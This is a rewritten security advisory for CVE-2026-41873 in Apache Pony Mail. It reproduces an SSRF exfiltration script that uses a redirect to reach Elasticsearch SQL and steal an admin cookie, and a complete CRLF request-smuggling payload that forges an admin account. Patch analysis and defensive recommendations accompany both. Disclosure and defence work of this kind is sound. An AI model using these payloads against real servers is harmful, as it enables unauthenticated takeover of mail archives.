Original: This article is an independent of “(CVE-2026-41873) Apache Pony Mail CRLF Injection and SSRF Leading to Full Account Takeover”, by Li Jiantao and Tevel Sho, published on STAR Labs SG on 28 April 2026.
All vulnerability research, the PoC scripts, the Elasticsearch SQL exfiltration chain, the CRLF / HTTP-request-smuggling payload analysis, and the patch-diff annotations are the work of the original authors and STAR Labs. The four PoC screenshots, all verbatim code excerpts (Python oauth.py, oauthGeneric.py, Lua email.lua, elastic.lua, the patched config and YAML, the URL-encoded CRLF payload, and the forged Elasticsearch account document), and the CVSS 3.1 vector are reproduced exactly as published. For the full timeline, the suggested mitigations, and STAR Labs’ complete walkthrough, read the source.
Source: starlabs.sg/advisories/26/26-41873 · CVE: CVE-2026-41873 · Fix commit (Foal): incubator-ponymail-foal@5a708d2 · Copyright: © 2026 STAR Labs SG Pte. Ltd.

Executive Summary
STAR Labs’ Li Jiantao and Tevel Sho found two ways to take over an Apache Pony Mail instance — the mailing-list archive that ships with most Apache Software Foundation lists — without any pre-existing account. The first lives in the modern Pony Mail Foal (Python) build: the generic OAuth handler accepts an attacker-supplied oauth_token URL, follows redirects, and quietly issues HTTP requests on behalf of the server. Pointed at the bundled Elasticsearch SQL endpoint, that turns into a high-fidelity blind SSRF oracle — the JSON / HTML response-type split lets the attacker enumerate the admin’s session cookie one hex character at a time, then log in as that admin. CVSS 3.1 base score 9.1 (Critical).
The second lives in the legacy Lua build, which Apache has retired and explicitly told the researchers will not be patched. In email.lua, the id query parameter is concatenated straight into an Elasticsearch URL after only escaping double-quotes. Because the call drops into LuaSocket as raw bytes, the attacker can inject %0d%0a CRLF sequences, terminate the original GET, and smuggle a second HTTP request over the same keep-alive connection — in the published PoC, a POST to /ponymail/account/<hash>/_update that creates an admin account with a hardcoded session cookie. Unauthenticated, no user interaction, full administrative access in one request. Anyone still running the Lua build is permanently exposed and needs to migrate or front-end the service with strict input validation today.
CVSS 3.1
| Metric | Value |
|---|---|
| Base Score | 9.1 (Critical) |
| Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | None |
| Scope (S) | Unchanged |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | None |
Pony Mail Foal (Python) — blind SSRF in the OAuth endpoint
Pony Mail Foal is the maintained Python rewrite of the older Lua codebase. Its OAuth handler is a thin dispatcher: depending on the key form field, it routes to one of several provider plugins. The generic catch-all is where the bug lives:
async def process(
server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:
debug(server, f"oauth/indata: {indata}")
key = indata.get("key", "")
state = indata.get("state")
code = indata.get("code")
id_token = indata.get("id_token")
oauth_token = indata.get("oauth_token")
rv: typing.Optional[dict] = None
# Google OAuth - currently fetches email address only
if key == "google" and id_token and server.config.oauth.google_client_id:
rv = await plugins.oauthGoogle.process(indata, session, server)
# [continues, eventually:]
elif state and code and oauth_token:
rv = await plugins.oauthGeneric.process(indata, session, server)
And the generic provider plugin trusts formdata["oauth_token"] as a destination URL:
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
# Extract domain, allowing for :port
# Does not handle user/password prefix etc
m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
if m:
oauth_domain = m.group(1)
headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
# This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
js = await rv.json() # [1]
js["oauth_domain"] = oauth_domain
return js
return None
The regex only extracts a display domain — the actual POST still goes to whatever URL the attacker put in oauth_token. aiohttp happily follows redirects, so even outbound-allowlist filters are routinely bypassed by pointing oauth_token at an attacker-controlled redirector (the published PoC uses httpbin.org/redirect-to) and bouncing into http://localhost:9200/.
Turning the SSRF into a session-cookie oracle
Pony Mail ships with Elasticsearch on the same host. Elasticsearch exposes a SQL endpoint at /_sql. When a SQL query errors, Elasticsearch responds with Content-Type: application/json. When it succeeds, it responds with the request’s requested format (application/text or text/html). On the Pony Mail side, the oauthGeneric handler always calls rv.json() on the response. If the body is JSON it parses; if not, the call raises and the server returns HTTP 500. The HTTP status code differential is the oracle.
The PoC builds a SQL query against the ponymail-session index that errors on success and succeeds on error by abusing a CAST on a non-castable column, conditional on a LIKE match. Repeated with each candidate hex character + % wildcard, the attacker bisects the admin session cookie. The driver script:
import requests
def exfil(session_id, target):
ORIG_POST_DATA = {
"key": "user",
"state": "z",
"code": "z",
"oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
}
# [… loop over “0123456789abcdef-”, send request per candidate, check status code, append on 500 …]
Output of a successful run (the screenshot above, reproduced from the advisory):

Once the cookie is recovered, the attacker sets the Pony Mail session cookie in their browser and they are the admin. No password, no MFA, no rate-limiting in the way — the OAuth endpoint is unauthenticated.
Patch analysis (Foal)
Apache’s fix (commit 5a708d2) does two things, both correct:
OAuth URLs moved to server-side config
Before, the client-side config.js carried provider URLs that the front-end JS would feed back into the server — meaning the server effectively trusted the client’s URL choices:
var pm_config = {
oauth: {
github: {
oauth_url: "https://github.com/login/oauth/access_token",
client_id: 'your.github.app.id.here',
}
}
}
After: the OAuth URL is a server-only configuration in ponymail.yaml, with sensitive keys prefixed by . so they never escape the backend:
oauth:
providers:
github:
.oauth_url: "https://github.com/login/oauth/access_token"
.client_secret: "abc123"
client_id: "your_client_id"
The preferences.py serialiser filters those leading-dot keys out before any browser ever sees them:
prefs['oauth'] = { provider: { k:v for k,v in entry.items() if not k.startswith('.') }
for provider, entry in server.config.oauth.providers.items() }
User-supplied URL parameter removed from the backend
The OAuth handler no longer accepts oauth_token from the request. The provider name comes from key and the URL is looked up server-side:
elif state and code:
rv = await plugins.oauthGeneric.process(indata, session, server)
provider = formdata["key"]
oauth_url = server.config.oauth.providers.get(provider).get('.oauth_url')
async with aiohttp.client.request("POST", oauth_url, ...) as rv:
Together those changes close the SSRF: the URL is no longer attacker-influenceable, and the secret-bearing fields never reach a client that could leak them back.
Legacy Lua — same surface, worse outcome
Apache informed STAR Labs that the Lua implementation is retired and will not be patched. STAR Labs verified that two related bugs survive there:
Constrained SSRF in oauth.lua
elseif get.state and get.code and get.oauth_token then
oauth_domain = get.oauth_token:match("https?://(.-)/")
local result = https.request(get.oauth_token, r.args)
https.request is LuaSocket / lua-socket’s HTTPS client. It is more restrictive than aiohttp: HTTPS only, no redirect following. The author confirmed outbound reachability with a webhook (the User-Agent is the LuaSocket fingerprint):

oauth.lua drives LuaSocket 3.0.0 at attacker-supplied HTTPS URLs. Source: original article.CRLF injection → Elasticsearch request smuggling in email.lua
This is the killer bug. The handler takes the id query parameter, escapes only double-quotes, and concatenates it into an Elasticsearch URL:
local eid = (get.id or ""):gsub('"', '%%22')
local doc = elastic.get("mbox", eid, true)
local function getDoc(ty, id, ok404)
local url = config.es_url .. ty .. "/" .. id
local json, status = performRequest(url, nil, ok404)
That string ultimately reaches LuaSocket’s HTTP client, which writes the request line directly to the TCP socket. CR and LF in id survive into the byte stream — which Elasticsearch parses sequentially: it will accept whatever HTTP request appears next in the stream, on the same keep-alive connection, treating it as if Apache itself had sent it.
The PoC the authors deliver is the obvious endgame: smuggle a POST that creates an admin account directly in Elasticsearch. URL-encoded:
GET /api/email.lua?id=aa%3f%20HTTP/1.1%0d%0a%0d%0aPOST%20/ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update%20HTTP/1.0%0d%0aContent-Type:%20application/yaml%0d%0aContent-Length:%20144%0d%0a%0d%0a---%0d%0adoc:%20%0d%0a%20%20credentials:%0d%0a%20%20%20%20x:%201%0d%0a%20%20internal:%20%0d%0a%20%20%20%20cookie:%20%270000000000000000000000000000000000000001%27%0d%0a%20%20%20%20admin:%20true%0d%0adoc_as_upsert:%20true%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: localhost:8080
Decoded, that’s three distinct HTTP messages over one TCP connection:
GET /api/email.lua?id=aa? HTTP/1.1
POST /ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update HTTP/1.0
Content-Type: application/yaml
Content-Length: 144
---
doc:
credentials:
x: 1
internal:
cookie: '0000000000000000000000000000000000000001'
admin: true
doc_as_upsert: true
GET / HTTP/1.1
Host: 127.0.0.1
The hashed account ID a94a8fe5cc… is the well-known SHA-1 of "test" in the PoC; the cookie value is a 40-character all-zeros-and-a-one that the attacker then sends from their own browser. The trailing GET uses HTTP/1.0 (default Connection: close) so LuaSocket’s auto-appended headers fall onto a request Elasticsearch will close cleanly. The forged document on the Elasticsearch side looks like this:
{
"_id": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3",
"_source": {
"credentials": { "x": 1 },
"internal": {
"cookie": "0000000000000000000000000000000000000001",
"admin": true
}
}
}
Traffic analysis


Impact
One unauthenticated GET creates an Elasticsearch document the application treats as an admin account, with a deterministic cookie the attacker already knows. From there: read/write/delete on every list, edit any historical message, modify accounts, modify pony-mail’s own configuration where it’s stored in ES. The bug is in the Lua build, which Apache will not patch; the only safe answer for affected operators is to retire the Lua install (migrate to Foal) or to put a strict input-sanitising proxy in front of /api/email.lua that drops requests with CR/LF in id.
Timeline (verbatim)
- 2024-07-10 — Initial report to Apache Security Team.
- 2024-07-23 — Vendor response (credit preference request).
- 2024-10-29 and 2024-11-01 — Follow-up requests; no response.
- 2026-02-12 — Apache confirms the Foal patch; queries Lua impact.
- 2026-03-25 — Researchers confirm Lua vulnerabilities.
- 2026-04-22 — CVE assigned.
- 2026-04-28 — Public disclosure.
Key Takeaways
- CVE-2026-41873 covers two distinct vulnerabilities in Apache Pony Mail — one in the modern Foal (Python) build, one in the legacy Lua build — both reachable without authentication.
- Foal: blind SSRF via attacker-controlled
oauth_tokenURL through the generic OAuth handler → Elasticsearch SQL response-type oracle → character-by-character session-cookie exfiltration → admin login. CVSS 9.1. - Lua: CRLF injection in the
idparameter ofemail.lua(only double-quotes were sanitised) → raw CR/LF bytes reach LuaSocket → smuggled second HTTP request to Elasticsearch → forged admin account with hardcoded session cookie. - Lua build will not be patched. Apache retired it; operators have to migrate to Foal or front-end the service with strict input filtering.
- The Foal patch is structural: OAuth URLs moved server-side, sensitive keys filtered out of client-visible config,
oauth_tokenremoved from the accepted input set. - Elasticsearch sequential parsing on keep-alive connections is the smuggling vector; the same shape can recur anywhere a Lua / Python / Node app forwards user input straight to a backend over HTTP without proper byte-level validation.
- Disclosure was slow: 2.5 years from initial report to public CVE assignment, partly due to vendor responsiveness issues.
Defensive Recommendations
- If you run Pony Mail Foal: apply commit
5a708d2or the corresponding tagged release. Rotate any admin session cookies after upgrade in case exfiltration already happened. - If you run the Lua build: assume compromise. Apache will not patch this. Migrate to Foal or front-end the service with a WAF rule that drops any request to
/api/email.luacontaining literal or URL-encoded CR/LF (%0d,%0a, raw\r\n) in any parameter. - Sanitise inputs going into HTTP-construction code at the byte level, not at the string level.
gsub('"', '%%22')is not sanitisation; it is a single-character substitution. Any HTTP client that takes user input into the request line or headers needs explicit CR/LF rejection. - Lock down Elasticsearch. Bind it to localhost where possible, but more importantly enable authentication on it — the Pony Mail bugs are amplified by the assumption that Elasticsearch is on a “trusted” network. Treat it as you would any RDBMS.
- Disable the Elasticsearch SQL plugin if you don’t need it. It is the primary oracle that turns a blind SSRF into a session-cookie exfiltration; without SQL the Foal bug is much harder to weaponise.
- SOC content: alert on outbound requests from the Pony Mail backend to local
:9200originating from the OAuth endpoint, and on inbound requests to/api/email.luawith any control-character bytes in the query string. - Patch-diff your own integrations. Anywhere your app accepts a URL from a user and feeds it to
aiohttp/requests/fetchwithfollow_redirects=Trueis a candidate for the same blind-SSRF pattern.
Conclusion
This is one of those advisories where the Python bug is the headline and the Lua bug is the actual horror story. Foal’s SSRF was patched cleanly and properly; the legacy Lua build is going to sit on the internet unpatched until every operator notices that incubator-ponymail is retired and migrates. STAR Labs’ write-up is unusually well-instrumented — the Wireshark and TCP-stream captures of the smuggled request flowing through Elasticsearch are the clearest published illustration of HTTP request smuggling against a back-end I’ve seen for this class of bug, and the response-type-oracle SSRF chain on the Foal side is reusable shape that’s likely to recur in other Python apps that proxy Elasticsearch behind aiohttp. Read the original for the full code excerpts and the disclosure timeline.
This article is an independent English-language rewrite of “(CVE-2026-41873) Apache Pony Mail CRLF Injection and SSRF Leading to Full Account Takeover” by Li Jiantao and Tevel Sho, originally published on starlabs.sg on 28 April 2026. All vulnerability research, PoC scripts, screenshots, and patch analysis remain the work of the original authors and STAR Labs SG Pte. Ltd. (© 2026). Please cite STAR Labs when referencing this material.

